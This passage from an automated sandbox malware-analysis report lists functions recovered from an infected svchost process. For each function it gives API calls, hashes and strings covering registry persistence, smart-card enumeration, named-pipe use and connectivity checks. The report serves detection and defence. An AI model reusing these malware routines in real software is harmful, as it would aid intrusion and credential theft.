                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocateFreeValidatememset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 219023833-0
                                                                                                                                                                                                            • Opcode ID: ee46b0cd924f0b3656249b19cb5aba9a251340cd2f2c060f71cc093169004b01
                                                                                                                                                                                                            • Instruction ID: bcd05b34dfdb7e001c00c32e838f1f62bc3ad5fa811ead47d707cc04517c8152
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ee46b0cd924f0b3656249b19cb5aba9a251340cd2f2c060f71cc093169004b01
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6421EFB0A017009FCB21AFA5D888ACBFFE8FF4A744B00881DE55E8B201C734A405CF92
                                                                                                                                                                                                            Function 00402240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(\\.\pipe\acsipc_server,C0000000,00000003,?,00000003,80000080,00000000,00000000), ref: 004022D6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,D48A445E,00000028,?,00000000), ref: 004022F6
                                                                                                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 004022FC
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,B5CB6C63,0000001C,?,00000000), ref: 0040231A
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040231D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$TimeWrite$CloseCreateHandleSystem
                                                                                                                                                                                                            • String ID: \\.\pipe\acsipc_server
                                                                                                                                                                                                            • API String ID: 3225117150-898603304
                                                                                                                                                                                                            • Opcode ID: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
                                                                                                                                                                                                            • Instruction ID: c460779fd0431372b53d2531d074c5320f53f755a2dac54515a3a2487e8d4eb8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f30bb11f5613f8d38f8c23486348982fdc31315c85d836d9b114ebf2302f727f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DA31F4B1C0121CAFDB10DFD5D985AEEFBB8FB48314F10422AE614BB280D7B41A458F95
                                                                                                                                                                                                            Function 02C737C0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000001,software\microsoft,00000000,00000102,?,?,?,02C73A91,?), ref: 02C737E0
                                                                                                                                                                                                            • RegSetValueExA.KERNEL32(00000000,7d2de637a,00000000,00000004,?,00000004,?,?,02C73A91,?), ref: 02C737FC
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(00000000,?,?,02C73A91,?), ref: 02C7380A
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000,?,?,02C73A91,?), ref: 02C73818
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseFlushOpenValue
                                                                                                                                                                                                            • String ID: 7d2de637a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2510291871-1563770528
                                                                                                                                                                                                            • Opcode ID: e63f04f99148dba3b6b7ab9b68f6be2725fa1b7d9692b7ea7081e9efd6cc894c
                                                                                                                                                                                                            • Instruction ID: 4ccb169730d5804e2a1c6b65925daf7e587f849852541bb732c89dd95e9780d8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e63f04f99148dba3b6b7ab9b68f6be2725fa1b7d9692b7ea7081e9efd6cc894c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C3F030B5E80248FBE711CA91DD49FAA776CDF04B44F108699FA01E7140D770EA10A7A5
                                                                                                                                                                                                            Function 02C97A50 Relevance: 10.1, APIs: 8, Instructions: 95memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AB6
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C97ABD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C97ACA
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C97AD1
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AE0
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C97AE3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C97AF0
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C97AF3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1670920773-0
                                                                                                                                                                                                            • Opcode ID: d57ac4135c724d8a926893770527e68ed6947d970c3d55a6b6301d0a02dcde21
                                                                                                                                                                                                            • Instruction ID: e3683514777bb9f53f8e9e1f0d5adb4f683b40bf835c875ad3306b9d633f3255
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d57ac4135c724d8a926893770527e68ed6947d970c3d55a6b6301d0a02dcde21
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1631A171E41344ABDF219F69D848BAABBA8EF84314F048589ED0597246CB30DA55CBA0
                                                                                                                                                                                                            Function 02C97C50 Relevance: 10.1, APIs: 8, Instructions: 56COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 0dd9ec387ed50701c1fc429e50d7aecad2cca295a24366175ec6721f5963fe5a
                                                                                                                                                                                                            • Instruction ID: 73522fa695af89b9d5c86362f02695eeb83cddf8a9cdd84c04c25d852f89536d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0dd9ec387ed50701c1fc429e50d7aecad2cca295a24366175ec6721f5963fe5a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 080128B2F89A446BEB216BA5FD8CF27BB5CEF80B55F044622F50597140C7319410CAB0
                                                                                                                                                                                                            Function 02C96E90 Relevance: 9.1, APIs: 6, Instructions: 108fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000), ref: 02C96ED4
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,02C97817), ref: 02C96EEE
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,?,02C97817), ref: 02C96F16
                                                                                                                                                                                                            • UnmapViewOfFile.KERNEL32(?,?,?,?,?,02C97817), ref: 02C96F22
                                                                                                                                                                                                              • Part of subcall function 02C93E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C93E14
                                                                                                                                                                                                              • Part of subcall function 02C93E00: CloseHandle.KERNEL32(?), ref: 02C93E25
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,00140B17,00000000,00000000,00140B17,?,02C97817), ref: 02C96F4E
                                                                                                                                                                                                            • WriteFile.KERNEL32(?,?,00140B17,02C97817,00000000,00140B17), ref: 02C96F80
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleViewmemcpy$CloseCreateInformationMappingUnmapWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3741995677-0
                                                                                                                                                                                                            • Opcode ID: 561877f762b3af474279e7b969587dc2b61f0120eba24ebd6a8ae1e641869784
                                                                                                                                                                                                            • Instruction ID: da0cf13bb213f9a11f149eb5d0aceba496568976ad3535ebd0d50bc920cc0354
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 561877f762b3af474279e7b969587dc2b61f0120eba24ebd6a8ae1e641869784
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D9317C72A00209BBDB04DF99D884B6AF7BCFF58714F20825AE90497680D771AE60CBD0
                                                                                                                                                                                                            Function 02C93D20 Relevance: 9.1, APIs: 6, Instructions: 87COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SCardEstablishContext.WINSCARD(00000002,00000000,00000000,02C856A3,00000000), ref: 02C93D45
                                                                                                                                                                                                            • SCardListReadersA.WINSCARD(02C856A3,00000000,?,FFFFFFFF), ref: 02C93D5C
                                                                                                                                                                                                            • SCardConnectA.WINSCARD(02C856A3,?,00000002,00000003,?,?), ref: 02C93D8E
                                                                                                                                                                                                            • SCardFreeMemory.WINSCARD(02C856A3,?), ref: 02C93DC9
                                                                                                                                                                                                            • SCardReleaseContext.WINSCARD(?), ref: 02C93DDD
                                                                                                                                                                                                            • SCardReleaseContext.WINSCARD(02C856A3), ref: 02C93DE7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Card$Context$Release$ConnectEstablishFreeListMemoryReaders
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4220388116-0
                                                                                                                                                                                                            • Opcode ID: 573c72c4a9e818c6aef5024e680623d5f20106d5fc941ccebf31bba1b295727c
                                                                                                                                                                                                            • Instruction ID: c89187b9411d758a93a7aa6bb40e3e85a88ed30e947d8ebbc6ad705c09c80665
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 573c72c4a9e818c6aef5024e680623d5f20106d5fc941ccebf31bba1b295727c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 12310F76E10259ABDF21CF99C858BEEB7BDEF84604F144689E915E7240D770AB04CBA0
                                                                                                                                                                                                            Function 02C76930 Relevance: 8.8, APIs: 7, Instructions: 64memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
                                                                                                                                                                                                              • Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
                                                                                                                                                                                                              • Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
                                                                                                                                                                                                              • Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
                                                                                                                                                                                                              • Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
                                                                                                                                                                                                              • Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013,?,00000000,00000000,00000000,75AF5CE0,02C82897), ref: 02C7696C
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C76973
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C76983
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,75AF5CE0,02C82897), ref: 02C769A5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C769A8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C769B5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C769B8
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$File$FreeHandleValidatememset$AllocAllocateCloseCreateInformationReadSizeWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1057660858-0
                                                                                                                                                                                                            • Opcode ID: f377347343ddea82a5b582f989365a99ecd9eccaf66547f3de79fc0db7b6716e
                                                                                                                                                                                                            • Instruction ID: 58932f77280adc2f93b47e823172b600c7e8a6d5802ac6a8ee26dcbea9958889
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f377347343ddea82a5b582f989365a99ecd9eccaf66547f3de79fc0db7b6716e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5511E572F41658A7C725ABA5AC48F9BB76CDFC0B55F140168B909D7280DB70DE14CBE0
                                                                                                                                                                                                            Function 02C73750 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000001,software\microsoft,00000000,00000101,?,02C73A83), ref: 02C73784
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(00000000,7d2de637a,00000000,?,00000000,?), ref: 02C737A5
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 02C737B3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                                                                                                                            • String ID: 7d2de637a$software\microsoft
                                                                                                                                                                                                            • API String ID: 3677997916-1563770528
                                                                                                                                                                                                            • Opcode ID: 438c0b29fcafb0ee7a2b4f30c94ef07994edde75fffedb93b7823bde09dc40ab
                                                                                                                                                                                                            • Instruction ID: 39ce229bfdeca4e4d3475bb05b3248a25564608a45d619c53a4a46de025325d0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 438c0b29fcafb0ee7a2b4f30c94ef07994edde75fffedb93b7823bde09dc40ab
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ADF03CB4E40248FBEB00CF94DD45FEEBBBCEB08704F104699EA05E7280D7B5A6048B94
                                                                                                                                                                                                            Function 02C97130 Relevance: 7.6, APIs: 5, Instructions: 85timeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileType.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,02C97604), ref: 02C97163
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,0000002C,00000044,00000030,0000003C,?,?,?,?,?,?,?,02C97604), ref: 02C9718B
                                                                                                                                                                                                            • GetLocalTime.KERNEL32(?,?,?,?,?,?,?,?,02C97604), ref: 02C971B5
                                                                                                                                                                                                            • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,02C97604), ref: 02C971C3
                                                                                                                                                                                                            • FileTimeToDosDateTime.KERNEL32(?,02C97604,?), ref: 02C971D5
                                                                                                                                                                                                              • Part of subcall function 02C96C70: GetFileType.KERNEL32(?,00000000,00000000), ref: 02C96C79
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileTime$Type$DateLocalPointerSystem
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 60630809-0
                                                                                                                                                                                                            • Opcode ID: 518137f2a91d0527747787b4f28273167a0e4f474879d59b772cf3842829abf8
                                                                                                                                                                                                            • Instruction ID: d1af3c16b96baf0a17358377f1a509a5044f62bde0d5554f7e539b76d6eef2d2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 518137f2a91d0527747787b4f28273167a0e4f474879d59b772cf3842829abf8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8B2171B29017449FC721CF6AD9C49ABFBFCFB88214B500A6EE59AC3940D771E508CB20
                                                                                                                                                                                                            Function 02C763B0 Relevance: 7.6, APIs: 5, Instructions: 81sleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C763D0
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
                                                                                                                                                                                                              • Part of subcall function 02C83D90: IsUserAnAdmin.SHELL32 ref: 02C83DB1
                                                                                                                                                                                                              • Part of subcall function 02C83D90: DnsFlushResolverCache.DNSAPI ref: 02C83DBB
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83DD8
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
                                                                                                                                                                                                              • Part of subcall function 02C83D90: memset.MSVCRT ref: 02C83E3C
                                                                                                                                                                                                              • Part of subcall function 02C83D90: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
                                                                                                                                                                                                              • Part of subcall function 02C83D90: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
                                                                                                                                                                                                              • Part of subcall function 02C83D90: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4,?,76230F10,00000000), ref: 02C763EC
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C76060,00000000,00000000,00000000), ref: 02C76448
                                                                                                                                                                                                            • WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,00000000,?,76230F10,00000000), ref: 02C76470
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,76230F10,00000000), ref: 02C76488
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$CheckConnectionInternetlstrcpyn$AdminAliveCacheCloseCreateFlushHandleMultipleNetworkObjectsResolverSleepThreadUserWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2160739018-0
                                                                                                                                                                                                            • Opcode ID: c1c63429beed57e14c7c737aa08adcf76ba01d878508a86c29c37f994b827aff
                                                                                                                                                                                                            • Instruction ID: 3dc0d04ed023514038422d4c70a89f5ca956cc4b8728a668e52f9eeb92603945
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c1c63429beed57e14c7c737aa08adcf76ba01d878508a86c29c37f994b827aff
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CF21DDB1E80A546BEB10E760ECC5FAE72ADEB8071CF200770EE19A70C0D7709981CAD5
                                                                                                                                                                                                            Function 02C86B60 Relevance: 7.6, APIs: 5, Instructions: 68sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02C86BAA
                                                                                                                                                                                                            • FindFirstChangeNotificationA.KERNEL32(?,00000000,0000010D,?,?,00000000), ref: 02C86BE8
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000), ref: 02C86C03
                                                                                                                                                                                                            • FindNextChangeNotification.KERNEL32(00000000,?,?,00000000), ref: 02C86C0A
                                                                                                                                                                                                            • Sleep.KERNEL32(00000BB8,?,?,00000000), ref: 02C86C31
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Find$ChangeNotification$FileFirstNameNextObjectPathSingleSleepWait
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 433761119-0
                                                                                                                                                                                                            • Opcode ID: 0b609fae7a0dbe937c88966c93b64d93a14e5f869262433ddc5deab3e111d806
                                                                                                                                                                                                            • Instruction ID: bcfdb10e190382c844aedb08370d7e2ec974b05cb5c38baabface1b0808283fc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0b609fae7a0dbe937c88966c93b64d93a14e5f869262433ddc5deab3e111d806
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 15212730800659A7DB11A7689D54BEA7BBCEB5130CF308AE5D94193280EB70DA44CFA0
                                                                                                                                                                                                            Function 02C96FF0 Relevance: 7.6, APIs: 5, Instructions: 64fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000,?), ref: 02C97017
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97037
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97048
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97061
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97072
                                                                                                                                                                                                              • Part of subcall function 02C97A50: GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 02C97AB6
                                                                                                                                                                                                              • Part of subcall function 02C97A50: HeapValidate.KERNEL32(00000000), ref: 02C97ABD
